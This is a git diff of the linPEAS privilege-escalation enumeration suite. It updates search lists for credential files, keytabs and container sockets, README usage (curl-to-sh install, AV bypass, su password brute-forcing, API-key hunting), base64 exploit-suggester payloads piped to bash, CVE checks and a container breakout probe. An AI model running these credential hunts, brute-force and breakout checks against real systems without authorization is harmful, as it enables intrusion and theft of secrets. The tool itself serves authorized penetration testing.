@@ -751,6 +884,7 @@ search:
- name: "*vnc*.c*nf*" - name: "*vnc*.c*nf*"
value: value:
bad_regex: ".*" bad_regex: ".*"
remove_regex: '^#'
type: f type: f
search_in: search_in:
- common - common
@@ -940,7 +1074,6 @@ search:
type: f type: f
search_in: search_in:
- /tmp - /tmp
- /private
- name: SSH_CONFIG - name: SSH_CONFIG
value: value:
@@ -961,12 +1094,12 @@ search:
auto_check: True auto_check: True
files: files:
- name: "credentials" #- name: "credentials"
value: # value:
bad_regex: ".*" # bad_regex: ".*"
type: f # type: f
search_in: # search_in:
- common # - common
- name: "credentials.db" - name: "credentials.db"
value: value:
@@ -1046,7 +1179,7 @@ search:
search_in: search_in:
- common - common
- name: "krb5.keytab" - name: "*.keytab"
value: value:
type: f type: f
search_in: search_in:
@@ -1516,6 +1649,37 @@ search:
search_in: search_in:
- common - common
- name: "dockershim.sock"
value:
type: f
search_in:
- common
- name: "containerd.sock"
value:
type: f
search_in:
- common
- name: "crio.sock"
value:
type: f
search_in:
- common
- name: "frakti.sock"
value:
type: f
search_in:
- common
- name: "rktlet.sock"
value:
type: f
search_in:
- common
- name: Firefox - name: Firefox
value: value:
disable: disable:
@@ -2567,7 +2731,7 @@ search:
search_in: search_in:
- common - common
- name: Other Interesting Files - name: Other Interesting
value: value:
config: config:
auto_check: True auto_check: True
@@ -2636,7 +2800,7 @@ search:
search_in: search_in:
- common - common
- name: Windows Files - name: Windows
value: value:
config: config:
auto_check: True auto_check: True
@@ -2985,7 +3149,7 @@ search:
search_in: search_in:
- common - common
- name: Other Windows Files - name: Other Windows
value: value:
config: config:
auto_check: True auto_check: True

View File

@@ -2,9 +2,9 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png)
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)** **LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)**
Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**. Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**.
[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566) [![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566)
@@ -13,11 +13,11 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed** Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
## Quick Start ## Quick Start
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**. Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
```bash ```bash
# From github # From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas.sh | sh curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
``` ```
```bash ```bash
@@ -42,11 +42,27 @@ less -r /dev/shm/linpeas.txt #Read with colors
```bash ```bash
# Use a linpeas binary # Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas_linux_amd64 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64 chmod +x linpeas_linux_amd64
./linpeas_linux_amd64 ./linpeas_linux_amd64
``` ```
## Firmware Analysis
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.
- If you **can emulate** the firmware, just run linpeas inside of it:
```bash
cp /path/to/linpeas.sh /mnt/linpeas.sh
chroot /mnt #Supposing you have mounted the firmware FS in /mnt
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex
```
- If you **cannot emulate** the firmware, use the `-f </path/to/folder` param:
```bash
# Point to the folder containing the files you want to analyze
bash /path/to/linpeas.sh -f /path/to/folder
```
## AV bypass ## AV bypass
```bash ```bash
#open-ssl encryption #open-ssl encryption
@@ -77,8 +93,9 @@ By default linpeas takes around **4 mins** to complete, but It could take from *
- 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted - 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted
**Interesting parameters:** **Interesting parameters:**
- **-a** (all checks) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.** - **-a** (all checks except regex) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.**
- **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default** - **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default**
- **-r** (regex checks) - This will search for **hundreds of API keys of different platforms in the silesystem**
- **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk) - **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk)
- **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users - **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took - **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
@@ -89,23 +106,36 @@ This script has **several lists** included inside of it to be able to **color th
``` ```
Enumerate and search Privilege Escalation vectors. Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors. This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
-h To show this message Checks:
-q Do not show banner -o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
-s Stealth & faster (don't check some time consuming checks)
-e Perform extra enumeration -e Perform extra enumeration
-s SuperFast (don't check some time consuming checks) - Stealth mode -t Automatic network scan & Internet conectivity checks - This option writes to files
-a All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly -r Enable Regexes (this can take from some mins to hours)
-w Wait execution between big blocks of checks
-N Do not use colours
-D Debug mode
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' -P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list. -D Debug mode
-L Force linpeas execution.
-M Force macpeas execution. Network recon:
-t Automatic network scan & Internet conectivity checks - This option writes to files
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24 -d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139 -p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 -i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
-t Automatic network scan (host discovery and port scanning) - This option writes to files
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
Port forwarding:
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP
Firmware recon:
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
Misc:
-h To show this message
-w Wait execution between big blocks of checks
-L Force linpeas execution
-M Force macpeas execution
-q Do not show banner
-N Do not use colours
``` ```
## Hosts Discovery and Port Scanning ## Hosts Discovery and Port Scanning
@@ -186,25 +216,17 @@ file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
## TODO ## Collaborate
- Add more checks If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
- Mantain updated the list of vulnerable SUID binaries
- Mantain updated all the blacklists used to color the output
If you want to help with any of this, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**. If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**.
**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. **Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.
## Advisory ## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
## License
MIT License
By Polop<sup>(TM)</sup> By Polop<sup>(TM)</sup>

8
linPEAS/TODO.md Normal file
View File

@@ -0,0 +1,8 @@
- Add more checks
- Add more potential files with passwords to sensitive_files.yaml
- Add more regex of interesting APIs to regexes.yaml
- Mantain updated the list of vulnerable SUID binaries
- Mantain updated all the blacklists used to color the output
- Improve the speed
- Reduce the size of the script
- Generate automatically an obfuscated version

View File

@@ -1,7 +1,7 @@
from .src.peasLoaded import PEASLoaded from .src.peasLoaded import PEASLoaded
from .src.linpeasBuilder import LinpeasBuilder from .src.linpeasBuilder import LinpeasBuilder
from .src.linpeasBaseBuilder import LinpeasBaseBuilder from .src.linpeasBaseBuilder import LinpeasBaseBuilder
from .src.yamlGlobals import FINAL_LINPEAS_PATH from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORARY_LINPEAS_BASE_PATH
import os import os
import stat import stat
@@ -18,7 +18,13 @@ def main():
# Build final linpeas.sh # Build final linpeas.sh
lbuilder = LinpeasBuilder(ploaded) lbuilder = LinpeasBuilder(ploaded)
lbuilder.build() lbuilder.build()
lbuilder.write_linpeas(FINAL_LINPEAS_PATH) lbuilder.write_linpeas(FINAL_FAT_LINPEAS_PATH)
lbuilder.write_linpeas(FINAL_LINPEAS_PATH, rm_startswith="FAT_LINPEAS")
os.remove(TEMPORARY_LINPEAS_BASE_PATH) #Remove the built linpeas_base.sh file
st = os.stat(FINAL_FAT_LINPEAS_PATH)
os.chmod(FINAL_FAT_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
st = os.stat(FINAL_LINPEAS_PATH) st = os.stat(FINAL_LINPEAS_PATH)
os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC) os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)

View File

@@ -4,7 +4,7 @@
#-- SY) OS #-- SY) OS
print_2title "Operative system" print_2title "Operative system"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
warn_exec lsb_release -a 2>/dev/null warn_exec lsb_release -a 2>/dev/null
if [ "$MACPEAS" ]; then if [ "$MACPEAS" ]; then
@@ -15,16 +15,52 @@ echo ""
#-- SY) Sudo #-- SY) Sudo
print_2title "Sudo version" print_2title "Sudo version"
if [ "$(command -v sudo 2>/dev/null)" ]; then if [ "$(command -v sudo 2>/dev/null)" ]; then
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
else echo_not_found "sudo" else echo_not_found "sudo"
fi fi
echo "" echo ""
#-- SY) CVEs
print_2title "CVEs Check"
#-- SY) CVE-2021-4034
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#-- SY) CVE-2021-3560
polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9)
if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#-- SY) CVE-2022-0847
#-- https://dirtypipe.cm4all.com/
#-- https://stackoverflow.com/a/37939589
kernelversion=$(uname -r | awk -F"-" '{print $1}')
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version between 5.8 and 5.17
echo "Potentially Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED},"
echo ""
fi
#-- SY) CVE-2022-2588
#-- https://github.com/Markakd/CVE-2022-2588
kernelversion=$(uname -r | awk -F"-" '{print $1}')
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
if [ $kernelnumber -ge 3017000000 ] && [ $kernelnumber -lt 5019000000 ]; then # if kernel version between 3.17 and 5.19
echo "Potentially Vulnerable to CVE-2022-2588" | sed -${E} "s,.*,${SED_RED},"
echo ""
fi
echo ""
#--SY) USBCreator #--SY) USBCreator
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
print_2title "USBCreator" print_2title "USBCreator"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
if [ -z "$pc_version" ]; then if [ -z "$pc_version" ]; then
@@ -42,10 +78,15 @@ fi
echo "" echo ""
#-- SY) PATH #-- SY) PATH
print_2title "PATH" print_2title "PATH"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" if ! [ "$IAMROOT" ]; then
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g"
else
echo "New path exported: $PATH" 2>/dev/null
fi
echo "" echo ""
#-- SY) Date #-- SY) Date
@@ -78,7 +119,7 @@ fi
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
print_2title "Unmounted file-system?" print_2title "Unmounted file-system?"
print_info "Check if you can mount umounted devices" print_info "Check if you can mount umounted devices"
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED}," | sed -${E} "s,$mounted,${SED_BLUE}," | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
echo "" echo ""
fi fi
@@ -97,13 +138,13 @@ fi
#-- SY) Environment vars #-- SY) Environment vars
print_2title "Environment" print_2title "Environment"
print_info "Any private information inside environment variables?" print_info "Any private information inside environment variables?"
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBELET" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" (env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
echo "" echo ""
#-- SY) Dmesg #-- SY) Dmesg
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching Signature verification failed in dmesg" print_2title "Searching Signature verification failed in dmesg"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
echo "" echo ""
fi fi
@@ -122,10 +163,7 @@ if [ "$(command -v bash 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester" print_2title "Executing Linux Exploit Suggester"
print_info "https://github.com/mzet-/linux-exploit-suggester" print_info "https://github.com/mzet-/linux-exploit-suggester"
les_b64="peass{LES}" les_b64="peass{LES}"
echo $les_b64 | base64 -d | bash echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
if [ "$EXTRA_CHECKS" ]; then
echo $les_b64 | base64 -d | bash -s -- --checksec
fi
echo "" echo ""
fi fi
@@ -133,7 +171,7 @@ if [ "$(command -v perl 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester 2" print_2title "Executing Linux Exploit Suggester 2"
print_info "https://github.com/jondonas/linux-exploit-suggester-2" print_info "https://github.com/jondonas/linux-exploit-suggester-2"
les2_b64="peass{LES2}" les2_b64="peass{LES2}"
echo $les2_b64 | base64 -d | perl echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
echo "" echo ""
fi fi
@@ -174,6 +212,22 @@ print_list "Execshield enabled? ............ "$NC
print_list "SELinux enabled? ............... "$NC print_list "SELinux enabled? ............... "$NC
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
#-- SY) Seccomp
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) AppArmor
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
#-- SY) AppArmor
print_list "User namespace? ................ "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
#-- SY) cgroup2
print_list "Cgroup2 enabled? ............... "$NC
([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) Gatekeeper #-- SY) Gatekeeper
if [ "$MACPEAS" ]; then if [ "$MACPEAS" ]; then
print_list "Gatekeeper enabled? .......... "$NC print_list "Gatekeeper enabled? .......... "$NC

View File

@@ -26,6 +26,14 @@ containerCheck() {
fi fi
fi fi
# Inside concourse?
if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
inContainer="1"
if [ "$containerType" ]; then
containerType="$containerType (concourse)\n"
fi
fi
# Are we inside LXC? # Are we inside LXC?
if env | grep "container=lxc" -qa 2>/dev/null || if env | grep "container=lxc" -qa 2>/dev/null ||
grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then
@@ -69,8 +77,10 @@ enumerateDockerSockets() {
dockerVersion="$(echo_not_found)" dockerVersion="$(echo_not_found)"
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
SEARCHED_DOCKER_SOCKETS="1" SEARCHED_DOCKER_SOCKETS="1"
for dock_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null); do for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -w "$dock_sock" ]; then if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
if echo "$int_sock" | grep -Eq "docker"; then
dock_sock="$int_sock"
echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
echo "Docker enummeration:" echo "Docker enummeration:"
docker_enumerated="" docker_enumerated=""
@@ -89,7 +99,11 @@ enumerateDockerSockets() {
fi fi
else else
echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_GREEN},g" echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
fi
else
echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
fi fi
done done
fi fi
@@ -123,6 +137,39 @@ checkContainerExploits() {
fi fi
} }
checkProcSysBreakouts(){
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi
mkdir /tmp/cgroup_3628d4
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
